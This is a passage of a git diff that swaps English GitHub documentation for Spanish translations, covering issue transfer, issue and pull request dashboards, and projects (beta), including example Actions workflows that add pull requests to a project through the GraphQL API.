-To transfer an issue, use the `gh issue transfer` subcommand. Replace the `issue` parameter with the number or URL of the issue. Replace the `{% ifversion ghes %}hostname/{% endif %}owner/repo` parameter with the {% ifversion ghes %}URL{% else %}name{% endif %} of the repository that you want to transfer the issue to, such as `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`.
+Para transferir una propuesta, utiliza el subcomando `gh issue transfer`. Reemplaza el parámetro `issue` con el número o URL de la propuesta. Reemplaza el parámetro `{% ifversion ghes %}hostname/{% endif %}owner/repo` con {% ifversion ghes %}la URL{% else %}el nombre{% endif %} del repositorio al que quieras transferir la propuesta, tal como `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`.
 
 ```shell
 gh issue transfer <em>issue</em> <em>{% ifversion ghes %}hostname/{% endif %}owner/repo</em>
@@ -53,8 +49,8 @@ gh issue transfer <em>issue</em> <em>{% ifversion ghes %}hostname/{% endif %}own
 
 {% endcli %}
 
-## Further reading
+## Leer más
 
-- "[About issues](/articles/about-issues)"
-- "[Reviewing your security log](/articles/reviewing-your-security-log)"
-- "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)"
+- "[Acerca de las propuestas](/articles/about-issues)"
+- "[Revisar tu registro de seguridad](/articles/reviewing-your-security-log)"
+- "[Revisar el registro de auditoría para tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)"
diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
index 45ac72dd0d..0fb7b586fe 100644
--- a/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
+++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing all of your issues and pull requests
-intro: 'The Issues and Pull Request dashboards list the open issues and pull requests you''ve created. You can use them to update items that have gone stale, close them, or keep track of where you''ve been mentioned across all repositories—including those you''re not subscribed to.'
+title: Ver todas tus propuestas y solicitudes de extracción
+intro: 'Los tableros de propuestas y solicitudes de extracción enumeran las propuestas y solicitudes de extracción abiertas que has creado. Puedes utilizarlos para actualizar los elementos que se han puesto en espera, que has cerrado o que mantienes un registro de dónde has sido mencionado a lo largo de todos los repositorios (incluidos aquellos en los que no estás suscrito).'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/viewing-all-of-your-issues-and-pull-requests
   - /articles/viewing-all-of-your-issues-and-pull-requests
@@ -14,16 +14,15 @@ versions:
 topics:
   - Pull requests
   - Issues
-shortTitle: View all your issues & PRs
+shortTitle: Ver todas tus propuestas & solicitudes de cambio
 type: how_to
 ---
-Your issues and pull request dashboards are available at the top of any page. On each dashboard, you can filter the list to find issues or pull requests you created, that are assigned to you, or in which you're mentioned. You can also find pull requests that you've been asked to review.
 
-1. At the top of any page, click **Pull requests** or **Issues**.
-  ![The global pull requests and issues dashboards](/assets/images/help/overview/issues_and_pr_dashboard.png)
-2. Optionally, choose a filter or [use the search bar to filter for more specific results](/articles/using-search-to-filter-issues-and-pull-requests).
-  ![List of pull requests with the "Created" filter selected](/assets/images/help/overview/pr_dashboard_created.png)
+Tus tableros de propuestas y solicitudes de extracción están disponibles en la parte superior de cualquier página. En cada tablero, puedes filtrar la lista para encontrar propuestas y solicitudes de extracción que creaste, que están asignadas a ti o en las cuales estás mencionado. También puedes encontrar solicitudes de extracción que te han pedido que revises.
 
-## Further reading
+1. En la partes superior de cualquier página, haz clic en **Pull requests (Solicitudes de extracción)** o **Issues (Propuestas)**. ![Tableros de solicitudes de extracción o propuestas globales](/assets/images/help/overview/issues_and_pr_dashboard.png)
+2. Como alternativa, elige un filtro o [utiliza la barra de búsqueda para filtrar resultados más específicos](/articles/using-search-to-filter-issues-and-pull-requests). ![Lista de solicitudes de extracción con el filtro "Created" (Creado) seleccionado](/assets/images/help/overview/pr_dashboard_created.png)
 
-- {% ifversion fpt or ghes or ghae or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching){% else %}"[Listing the repositories you're watching](/github/receiving-notifications-about-activity-on-github/listing-the-repositories-youre-watching){% endif %}"
+## Leer más
+
+- {% ifversion fpt or ghes or ghae or ghec %}"[Visualizar tus suscripciones](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching){% else %}"[Listar los repositorios que estás observando](/github/receiving-notifications-about-activity-on-github/listing-the-repositories-youre-watching){% endif %}"
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md
index 8101704c81..26ca2438ed 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md
@@ -1,6 +1,6 @@
 ---
-title: About projects (beta)
-intro: 'Projects are a customizable, flexible tool for planning and tracking work on {% data variables.product.company_short %}.'
+title: Acerca de los proyectos (beta)
+intro: 'Los proyectos son una herramienta flexible y personalizable para planear y rastrear el trabajo en {% data variables.product.company_short %}.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -13,52 +13,52 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## About projects
+## Acerca de los proyectos
 
-A project is a customizable spreadsheet that integrates with your issues and pull requests on {% data variables.product.company_short %}. You can customize the layout by filtering, sorting, and grouping your issues and PRs. You can also add custom fields to track metadata. Projects are flexible so that your team can work in the way that is best for them.
+Un proyecto es una hoja de cálculo personalizable que se integra con tus propuestas y solicitudes de cambios en {% data variables.product.company_short %}. Puedes personalziar el diseño si filtras, clasificas y agrupas tus propuestas y solicitudes de cambios. También puedes personalizar los campos para rastrear metadatos. Los proyectos son flexibles para que tu equipo pueda trabajar de la misma forma que es mejor para ellos.
 
-### Staying up-to-date
+### Mantenerse actualizado
 
-Your project automatically stays up-to-date with the information on {% data variables.product.company_short %}. When a pull request or issue changes, your project reflects that change. This integration also works both ways, so that when you change information about a pull request or issue from your project, the pull request or issue reflects that information.
+Tu proyecto se mantiene actualizado automáticamente con la información de {% data variables.product.company_short %}. Cuando cambia una solicitud de cambios o propuesta, tu proyecto refleja dicho cambio. Esta integración también trabaja de ambas formas, así que, cuando cambies la información sobre una solicitud de cambios o propuesta de tu proyecto, esta reflejará la información.
 
-### Adding metadata to your tasks
+### Agregar metadatos a tus tareas
 
-You can use custom fields to add metadata to your tasks. For example, you can track the following metadata:
+Puedes utilizar los campos personalizados para agregar metadatos a tus tareas. Por ejemplo, puedes rastrear los siguientes metadatos:
 
-- a date field to track target ship dates
-- a number field to track the complexity of a task
-- a single select field to track whether a task is Low, Medium, or High priority
-- a text field to add a quick note
-- an iteration field to plan work week-by-week
+- un campo de fecha para rastrear las fechas de envío destino
+- un número de campo para rastrear la complejidad de una tarea
+- un campo de selección sencillo para rastrear si una tarea tiene prioridad baja, media o alta
+- un campo de texto para agregar una nota rápida
+- un campo de iteración para planear el trabajo cada semana
 
-### Viewing your project from different perspectives
+### Visualizar tu proyecto desde perspectivas diferentes
 
-You can view your project as a high density table layout:
+Puedes ver tu proyecto como un diseño de tabla de densidad alta:
 
-![Project table](/assets/images/help/issues/projects_table.png)
+![Tabla de proyectos](/assets/images/help/issues/projects_table.png)
 
-Or as a board:
+O como un tablero:
 
-![Project board](/assets/images/help/issues/projects_board.png)
+![Tablero de proyectos](/assets/images/help/issues/projects_board.png)
 
-To help you focus on specific aspects of your project, you can group, sort, or filter items:
+Para ayudar a que te enfoques en aspectos específicos de tu proyecto, puedes agrupar, clasificar o filtrar elementos:
 
-![Project view](/assets/images/help/issues/project_view.png)
+![Vista de proyecto](/assets/images/help/issues/project_view.png)
 
-For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-### Working with the project command palette
+### Trabajar con la paleta de comandos del proyecto
 
-You can use the project command palette to quickly change views or add fields. The command palette guides you so that you don't need to memorize custom keyboard shortcuts. For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Puedes utilizar la paleta de comandos del proyecto para cambiar de vista o agregar campos rápidamente. La paleta de comandos te guía para que no necesites memorizar los atajos de teclado personalizados. Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-### Automating project management tasks
+### Automatizar las tareas de administración de proyectos
 
-Projects (beta) offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done." You can also use the GraphQL API and {% data variables.product.prodname_actions %} to automate routine project management tasks. For more information, see "[Automating projects](/issues/trying-out-the-new-projects-experience/automating-projects)" and "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)."
+Los proyectos (beta) ofrecen flujos de trabajo integrados. Por ejemplo, cuando se cierra una propuesta, puedes configurar el estado automáticamente a "Hecho". También puedes utilizar la API de GraphQl y las {% data variables.product.prodname_actions %} para automatizar las tareas de administración de proyectos rutinarias. Para obtener más información, consulta las secciones "[Automatizar proyectos](/issues/trying-out-the-new-projects-experience/automating-projects)" y "[Utilizar la API para administrar proyectos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)".
 
-## Comparing projects (beta) with the non-beta projects
+## Comparar proyectos (beta) con los proyectos no beta
 
-Projects (beta) is a new, customizable version of projects. For more information about the non-beta version of projects, see "[Organizing your work with project boards](/issues/organizing-your-work-with-project-boards)."
+Los proyectos (beta) es una versión nueva y personalizable de proyectos. Para obtener más información sobre la versión no beta de los proyectos, consulta la sección "[Organizar tu trabajo con tableros de proyecto](/issues/organizing-your-work-with-project-boards)".
 
-## Sharing feedback
+## Compartir retroalimentación
 
-You can share your feedback about projects (beta) with {% data variables.product.company_short %}. To join the conversation, see [the feedback discussion](https://github.com/github/feedback/discussions/categories/issues-feedback).
+Puedes compartir tu retroalimentación sobre los proyectos (beta) con {% data variables.product.company_short %}. Para unirte a la conversación, consulta el [debate de retroalimentación](https://github.com/github/feedback/discussions/categories/issues-feedback).
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md
index 108e6a93f4..ead3797af4 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Automating projects (beta)
-intro: 'You can use built-in workflows or the API and {% data variables.product.prodname_actions %} to manage your projects.'
+title: Automatizar proyectos (beta)
+intro: 'Puedes utiilzar flujos de trabajo integrados o la API y las {% data variables.product.prodname_actions %} para administrar tus proyectos.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -15,51 +15,51 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## Introduction
+## Introducción
 
-You can add automation to help manage your project. Projects (beta) includes built-in workflows that you can configure through the UI. Additionally, you can write custom workflows with the GraphQL API and {% data variables.product.prodname_actions %}.
+Puedes agregar automatización para ayudarte a administrar tu proyecto. Los proyectos (beta) incluyen flujos de trabajo integrados que puedes configurar a través de la IU. Adicionalmente, puedes escribir flujos personalizados con la API de GraphQL y las {% data variables.product.prodname_actions %}.
 
-## Built-in workflows
+## Flujos de trabajo integrados
 
 {% data reusables.projects.about-workflows %}
 
-You can enable or disable the built-in workflows for your project.
+Puedes habilitar o inhabilitar los flujos de trabajo integrados de tu proyecto.
 
 {% data reusables.projects.enable-basic-workflow %}
 
-## {% data variables.product.prodname_actions %} workflows
+## Flujos de trabajo de {% data variables.product.prodname_actions %}
 
-This section demonstrates how to use the GraphQL API and {% data variables.product.prodname_actions %} to add a pull request to an organization project. In the example workflows, when the pull request is marked as "ready for review", a new task is added to the project with a "Status" field set to "Todo", and the current date is added to a custom "Date posted" field.
+Esta sección demuestra cómo utilizar la API de GraphQL y las {% data variables.product.prodname_actions %} para agregar una solicitud de cambios a un proyecto organizacional. En los flujos de trabajo de ejemplo, cuando la solicitud de cambios se marca como "lista para revisión", se agrega una tarea nueva al proyecto con un campo de "Estado" configurado en "Pendiente" y se agrega la fecha actual a un campo personalizado de "Fecha en la que se publicó".
 
-You can copy one of the workflows below and modify it as described in the table below to meet your needs.
+Puedes copiar uno de los siguientes flujos de trabajo y modificarlo de acuerdo con lo descrito en la siguiente tabla para que satisfaga tus necesidades.
 
-A project can span multiple repositories, but a workflow is specific to a repository. Add the workflow to each repository that you want your project to track. For more information about creating workflow files, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)."
+Un proyecto puede abarcar repositorios múltiples, pero un flujo de trabajo es específico par aun repositorio. Agrega el flujo de trabajo a cada repositorio que quieras que rastree tu proyecto. Para obtener más información sobre cómo crear archivos de flujo de trabajo, consulta la sección "[Inicio rápido para las {% data variables.product.prodname_actions %}](/actions/quickstart)".
 
-This article assumes that you have a basic understanding of {% data variables.product.prodname_actions %}. For more information about {% data variables.product.prodname_actions %}, see "[{% data variables.product.prodname_actions %}](/actions)."
+Este artículo asume que tienes un entendimiento básico de las {% data variables.product.prodname_actions %}. Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[{% data variables.product.prodname_actions %}](/actions)".
 
-For more information about other changes you can make to your project through the API, see "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)."
+Para obtener más información sobre otros cambios que puedes hacer a tu proyecto a través de la API, consulta la sección "[Utilizar la API para administrar proyectos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)".
 
 {% note %}
 
-**Note:** `GITHUB_TOKEN` is scoped to the repository level and cannot access projects (beta). To access projects (beta) you can either create a {% data variables.product.prodname_github_app %} (recommended for organization projects) or a personal access token (recommended for user projects). Workflow examples for both approaches are shown below.
+**Nota:** `GITHUB_TOKEN` tiene el alcance del nivel de repositorio y no puede acceder a los proyectos (beta). Para acceder a los proyectos (beta), puedes ya sea crear una {% data variables.product.prodname_github_app %} (recomendado para los proyectos organizacionales) o un token de acceso personal (recomendado para los proyectos de usuario). A continuación se muestran los ejemplos de flujo de trabajo para ambos acercamientos.
 
 {% endnote %}
 
-### Example workflow authenticating with a {% data variables.product.prodname_github_app %}
+### Flujo de trabajo ejemplo autenticándose con una {% data variables.product.prodname_github_app %}
 
-1. Create a {% data variables.product.prodname_github_app %} or choose an existing {% data variables.product.prodname_github_app %} owned by your organization. For more information, see "[Creating a {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app)."
-2. Give your {% data variables.product.prodname_github_app %} read and write permissions to organization projects. For more information, see "[Editing a {% data variables.product.prodname_github_app %}'s permissions](/developers/apps/managing-github-apps/editing-a-github-apps-permissions)."
+1. Crea una {% data variables.product.prodname_github_app %} o elige una {% data variables.product.prodname_github_app %} existente que le pertenezca a tu organización. Para obtener más información, consulta la sección "[Crear una {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app)".
+2. Dale a tu {% data variables.product.prodname_github_app %} permisos de lectura y escritura para los proyectos organizacionales. Para obtener más información, consulta la sección "[Editar los permisos de una {% data variables.product.prodname_github_app %}](/developers/apps/managing-github-apps/editing-a-github-apps-permissions)".
 
    {% note %}
 
-   **Note:** You can control your app's permission to organization projects and to repository projects. You must give permission to read and write organization projects; permission to read and write repository projects will not be sufficient.
+   **Nota:** Puedes controlar los permisos de tu app con respecto a los proyectos organizacionales y de repositorio. Debes otorgar permisos de lectura y escritura de proyectos organizacionales; los permisos de lectura y escritura en los proyectos de repositorio no serán suficientes.
 
    {% endnote %}
 
-3. Install the {% data variables.product.prodname_github_app %} in your organization. Install it for all repositories that your project needs to access. For more information, see "[Installing {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)."
-4. Store your {% data variables.product.prodname_github_app %}'s ID as a secret in your repository or organization. In the following workflow, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/reference/apps#get-an-app)."
-5. Generate a private key for your app. Store the contents of the resulting file as a secret in your repository or organization. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following workflow, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)."
-6. In the following workflow, replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
+3. Instala la {% data variables.product.prodname_github_app %} en tu organización. Instálala para todos los repositorios a los cuales necesita acceso tu proyecto. Para obtener más información, consulta la sección "[Instalar {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)".
+4. Almacena la ID de tu {% data variables.product.prodname_github_app %} como un secreto en tu repositorio u organización. En el siguiente flujo de trabajo, reemplaza `APP_ID` con el nombre del secreto. Puedes encontrar tu ID de app en la página de ajustes de tu app o mediante la API de la misma. Para obtener más información, consulta la sección "[Apps](/rest/reference/apps#get-an-app)".
+5. Generar una llave privada para tu app. Almacena el contenido del archivo resultante como secreto en tu repositorio u organización. (Almacena todo el contenido del archivo, incluyendo `-----BEGIN RSA PRIVATE KEY-----` y `-----END RSA PRIVATE KEY-----`.) En el siguiente flujo de trabajo, reemplaza a `APP_PEM` con el nombre del secreto. Para obtener más información, consulta la sección "[Autenticarse con {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)".
+6. En el siguiente flujo de trabajo, reemplaza a `YOUR_ORGANIZATION` con el nombre de tu organización. Por ejemplo, `octo-org`. Reemplaza a `YOUR_PROJECT_NUMBER` con el número de tu proyecto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -120,7 +120,7 @@ jobs:
                 }
               }
             }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectNextItem.projectNextItem.id')"
-          
+
           echo 'ITEM_ID='$item_id >> $GITHUB_ENV
 
       - name: Get date
@@ -162,11 +162,11 @@ jobs:
             }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent
 ```
 
-### Example workflow authenticating with a personal access token
+### Flujo de trabajo de ejemplo para autenticarse con un token de acceso personal
 
-1. Create a personal access token with `org:write` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
-2. Save the personal access token as a secret in your repository or organization.
-3. In the following workflow, replace `YOUR_TOKEN` with the name of the secret. Replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
+1. Crear un token de acceso personal con el alcance `org:write`. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)".
+2. Guardar el token de acceso personal como secreto en tu organización o repositorio.
+3. En el siguiente flujo de trabajo, reemplaza a `YOUR_TOKEN` con el nombre del secreto. Reemplaza a `YOUR_ORGANIZATION` con el nombre de tu organización. Por ejemplo, `octo-org`. Reemplaza a `YOUR_PROJECT_NUMBER` con el número de tu proyecto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto.
 
 ```yaml{:copy}
 name: Add PR to project
@@ -218,7 +218,7 @@ jobs:
                 }
               }
             }' -f project=$PROJECT_ID -f pr=$PR_ID --jq '.data.addProjectNextItem.projectNextItem.id')"
-          
+
           echo 'ITEM_ID='$item_id >> $GITHUB_ENV
 
       - name: Get date
@@ -261,9 +261,9 @@ jobs:
 
 ```
 
-### Workflow explanation
+### Explicación del flujo de trabajo
 
-The following table explains sections of the example workflows and shows you how to adapt the workflows for your own use.
+La siguiente tabla explica las secciones de los flujos de trabajo de ejemplo y te muestra cómo adaptar los flujos de trabajo para tu propio uso.
 
 <table class="table-fixed">
 
@@ -279,7 +279,7 @@ on:
 
 </td>
 <td>
-This workflow runs whenever a pull request in the repository is marked as "ready for review".
+Este flujo de trabajo se ejecuta cada que una solicitud de cambios en el repositorio se marca como "ready for review".
 </td>
 </tr>
 
@@ -299,13 +299,13 @@ This workflow runs whenever a pull request in the repository is marked as "ready
 
 </td>
 <td>
-Uses the <a href="https://github.com/tibdex/github-app-token">tibdex/github-app-token action</a> to generate an installation access token for your app from the app ID and private key. The installation access token is accessed later in the workflow as <code>{% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}</code>.
+Utiliza la <a href="https://github.com/tibdex/github-app-token">acción tibdex/github-app-token</a> para generar un token de acceso a la instalación para tu app desde la ID y llave privada de la misma. Se puede acceder al token de acceso a la instalación más adelante en el flujo de trabajo como <code>{% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}</code>.
 <br>
 <br>
-Replace <code>APP_ID</code> with the name of the secret that contains your app ID.
+Reemplaza <code>APP_ID</code> con el nombre del secreto que contiene la ID de tu app.
 <br>
 <br>
-Replace <code>APP_PEM</code> with the name of the secret that contains your app private key.
+Reemplaza a <code>APP_PEM</code> con el nombre del secreto que contiene la llave privada de tu app.
 </td>
 </tr>
 
@@ -332,16 +332,16 @@ env:
 
 </td>
 <td>
-Sets environment variables for this step.
+Configura las variables para este paso.
 <br>
 <br>
-If you are using a personal access token, replace <code>YOUR_TOKEN</code> with the name of the secret that contains your personal access token.
+Si estás utilizando un token de acceso personal, reemplaza a <code>YOUR_TOKEN</code> con el nombre del secreto que contiene tu token de acceso personal.
 <br>
 <br>
-Replace <code>YOUR_ORGANIZATION</code> with the name of your organization. For example, <code>octo-org</code>.
+Reemplaza <code>YOUR_ORGANIZATION</code> con el nombre de tu organización. Por ejemplo, <code>octo-org</code>.
 <br>
 <br>
-Replace <code>YOUR_PROJECT_NUMBER</code> with your project number. To find the project number, look at the project URL. For example, <code>https://github.com/orgs/octo-org/projects/5</code> has a project number of 5.
+reemplaza <code>YOUR_PROJECT_NUMBER</code> con el número de tu proeycto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección <code>https://github.com/orgs/octo-org/projects/5</code> tiene "5" como número de proyecto.
 </td>
 </tr>
 
@@ -368,7 +368,7 @@ gh api graphql -f query='
 
 </td>
 <td>
-Uses <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> to query the API for the ID of the project and for the ID, name, and settings for the first 20 fields in the project. The response is stored in a file called <code>project_data.json</code>.
+Utiliza el <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> para consultar la API para la ID del proyecto y para la ID, nombre y configuración de los primeros 20 campos en este. La respuesta se almacena en un archivo que se llama <code>project_data.json</code>.
 </td>
 </tr>
 
@@ -384,12 +384,12 @@ echo 'TODO_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | sele
 
 </td>
 <td>
-Parses the response from the API query and stores the relevant IDs as environment variables. Modify this to get the ID for different fields or options. For example:
+Analiza la respuesta desde la consulta de la API y almacena las ID relevantes como variables de ambiente. Modifica esto para obtener la ID para los campos u opciones diferentes. Por ejemplo:
 <ul>
-<li>To get the ID of a field called <code>Team</code>, add <code>echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV</code>.</li>
-<li>To get the ID of an option called <code>Octoteam</code> for the <code>Team</code> field, add <code>echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") |.settings | fromjson.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV</code></li>
+<li>Para obtener la ID de un campo llamado <code>Team</code>, agrega <code>echo 'TEAM_FIELD_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") | .id' project_data.json) >> $GITHUB_ENV</code>.</li>
+<li>Para obtener la ID de una opción llamada <code>Octoteam</code> para el campo <code>Team</code>, agrega <code>echo 'OCTOTEAM_OPTION_ID='$(jq '.data.organization.projectNext.fields.nodes[] | select(.name== "Team") |.settings | fromjson.options[] | select(.name=="Octoteam") |.id' project_data.json) >> $GITHUB_ENV</code></li>
 </ul>
-<strong>Note: </strong>This workflow assumes that you have a project with a single select field called "Status" that includes an option called "Todo" and a date field called "Date posted". You must modify this section to match the fields that are present in your table.
+<strong>Nota: </strong> Este flujo de trabajo asume que tienes un proyecto con un campo de selección simple llamado "Status" que incluye una opción llamada "Todo" y un campo de fecha llamado "Date Posted". Debes modificar esta sección para empatar con los campos que están presentes en tu tabla.
 </td>
 </tr>
 
@@ -414,7 +414,7 @@ env:
 
 </td>
 <td>
-Sets environment variables for this step. <code>GITHUB_TOKEN</code> is described above. <code>PR_ID</code> is the ID of the pull request that triggered this workflow.
+Configura las variables para este paso. <code>GITHUB_TOKEN</code> se describe anteriormente. <code>PR_ID</code> es la ID de la solicitud de cambios que activó este flujo de trabajo.
 
 </td>
 </tr>
@@ -435,7 +435,7 @@ item_id="$( gh api graphql -f query='
 
 </td>
 <td>
-Uses <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> and the API to add the pull request that triggered this workflow to the project. The <code>jq</code> flag parses the response to get the ID of the created item.
+Utiliza el <a href="https://cli.github.com/manual/">{% data variables.product.prodname_cli %}</a> y la API para agrega la solicitud de cambios que activó este flujo de trabajo hacia el proyecto. La bandera <code>jq</code> analiza la respuesta para obtener la ID del elemento creado.
 </td>
 </tr>
 
@@ -448,7 +448,7 @@ echo 'ITEM_ID='$item_id >> $GITHUB_ENV
 
 </td>
 <td>
-Stores the ID of the created item as an environment variable.
+Almacena la ID del elemento creado como variable de ambiente.
 </td>
 </tr>
 
@@ -461,7 +461,7 @@ echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV
 
 </td>
 <td>
-Saves the current date as an environment variable in <code>yyyy-mm-dd</code> format.
+Guarda la fecha actual como variable de ambiente en el formato <code>yyyy-mm-dd</code>.
 </td>
 </tr>
 
@@ -484,7 +484,7 @@ env:
 
 </td>
 <td>
-Sets environment variables for this step. <code>GITHUB_TOKEN</code> is described above.
+Configura las variables para este paso. <code>GITHUB_TOKEN</code> se describe anteriormente.
 
 </td>
 </tr>
@@ -527,8 +527,8 @@ gh api graphql -f query='
 
 </td>
 <td>
-Sets the value of the <code>Status</code> field to <code>Todo</code>. Sets the value of the <code>Date posted</code> field.
+Configura el valor del campo <code>Status</code> como <code>Todo</code>. Configura el valor del campo <code>Date posted</code>.
 </td>
 </tr>
 
-</table>
\ No newline at end of file
+</table>
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md
index ad79f17b59..e8ab64c348 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Best practices for managing projects (beta)
-intro: 'Learn tips for managing your projects on {% data variables.product.company_short %}.'
+title: Mejores prácticas para administrar proyectos (beta)
+intro: 'Consejos para administrar tus proyectos en {% data variables.product.company_short %}.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -15,54 +15,54 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-You can use projects to manage your work on {% data variables.product.company_short %}, where your issues and pull requests live. Read on for tips to manage your projects efficiently and effectively. For more information about projects, see "[About projects](/issues/trying-out-the-new-projects-experience/about-projects)."
+Puedes utilizar proyectos para administrar tu trabajo en {% data variables.product.company_short %}, donde viven tus propuestas y solicitudes de cambios. Lee los tips para administrar tus proyectos de forma eficaz y eficiente. Para obtener más información sobre los proyectos, consulta la sección "[Acerca de los proyectos](/issues/trying-out-the-new-projects-experience/about-projects)".
 
-## Break down large issues into smaller issues
+## Desglosa las propuestas grandes en unas más pequeñas
 
-Breaking a large issue into smaller issues makes the work more manageable and enables team members to work in parallel. It also leads to smaller pull requests, which are easier to review.
+El desglosar una propuesta grande en propuestas más pequeñas hace el trabajo más administrable y habilita a los miembros del equipo para que trabajen en paralelo. Esto también conlleva a tener solicitudes de cambios más pequeñas, las cuales se pueden revisar con mayor facilidad.
 
-To track how smaller issues fit into the larger goal, use task lists, milestones, or labels. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[About milestones](/issues/using-labels-and-milestones-to-track-work/about-milestones)", and "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)."
